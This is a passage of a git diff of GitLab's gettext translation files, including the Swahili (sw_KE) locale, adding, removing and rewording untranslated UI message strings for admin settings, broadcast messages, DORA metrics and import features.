msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/sw_KE/gitlab.po b/locale/sw_KE/gitlab.po
index 2460bdb94a1..e6d04cd44e6 100644
--- a/locale/sw_KE/gitlab.po
+++ b/locale/sw_KE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sw\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:43\n"
+"PO-Revision-Date: 2023-01-10 06:48\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
